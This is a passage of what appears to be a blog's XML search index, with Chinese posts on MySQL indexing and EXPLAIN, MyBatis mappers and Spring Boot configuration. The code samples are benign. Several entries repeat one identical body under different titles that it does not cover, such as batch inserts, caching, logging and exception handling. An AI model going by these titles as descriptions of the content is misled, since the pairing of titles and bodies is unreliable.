          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>EXPLAIN 执行计划应该看哪些字段</title>
      <link href="//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/"/>
      <url>//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/</url>
      
        <content type="html"><![CDATA[<h1 id="EXPLAIN-执行计划应该看哪些字段"><a href="#EXPLAIN-执行计划应该看哪些字段" class="headerlink" title="EXPLAIN 执行计划应该看哪些字段"></a>EXPLAIN 执行计划应该看哪些字段</h1><p>EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL 索引设计的几个核心原则</title>
      <link href="//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/"/>
      <url>//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL-索引设计的几个核心原则"><a href="#MySQL-索引设计的几个核心原则" class="headerlink" title="MySQL 索引设计的几个核心原则"></a>MySQL 索引设计的几个核心原则</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 批量插入和性能优化</title>
      <link href="//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/"/>
      <url>//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-批量插入和性能优化"><a href="#MyBatis-批量插入和性能优化" class="headerlink" title="MyBatis 批量插入和性能优化"></a>MyBatis 批量插入和性能优化</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 动态 SQL 的正确写法</title>
      <link href="//mybatis-dong-tai-sql-de-zheng-que-xie-fa/"/>
      <url>//mybatis-dong-tai-sql-de-zheng-que-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-动态-SQL-的正确写法"><a href="#MyBatis-动态-SQL-的正确写法" class="headerlink" title="MyBatis 动态 SQL 的正确写法"></a>MyBatis 动态 SQL 的正确写法</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 一级缓存和二级缓存怎么理解</title>
      <link href="//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/"/>
      <url>//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-一级缓存和二级缓存怎么理解"><a href="#MyBatis-一级缓存和二级缓存怎么理解" class="headerlink" title="MyBatis 一级缓存和二级缓存怎么理解"></a>MyBatis 一级缓存和二级缓存怎么理解</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 日志配置和链路排查</title>
      <link href="//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/"/>
      <url>//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-日志配置和链路排查"><a href="#Spring-Boot-日志配置和链路排查" class="headerlink" title="Spring Boot 日志配置和链路排查"></a>Spring Boot 日志配置和链路排查</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 参数校验和返回值封装</title>
      <link href="//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/"/>
      <url>//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-参数校验和返回值封装"><a href="#Spring-Boot-参数校验和返回值封装" class="headerlink" title="Spring Boot 参数校验和返回值封装"></a>Spring Boot 参数校验和返回值封装</h1><p>参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 统一异常处理实践</title>
      <link href="//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/"/>
      <url>//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-统一异常处理实践"><a href="#Spring-Boot-统一异常处理实践" class="headerlink" title="Spring Boot 统一异常处理实践"></a>Spring Boot 统一异常处理实践</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 配置分环境的标准做法</title>
      <link href="//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/"/>
      <url>//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/</url>
      
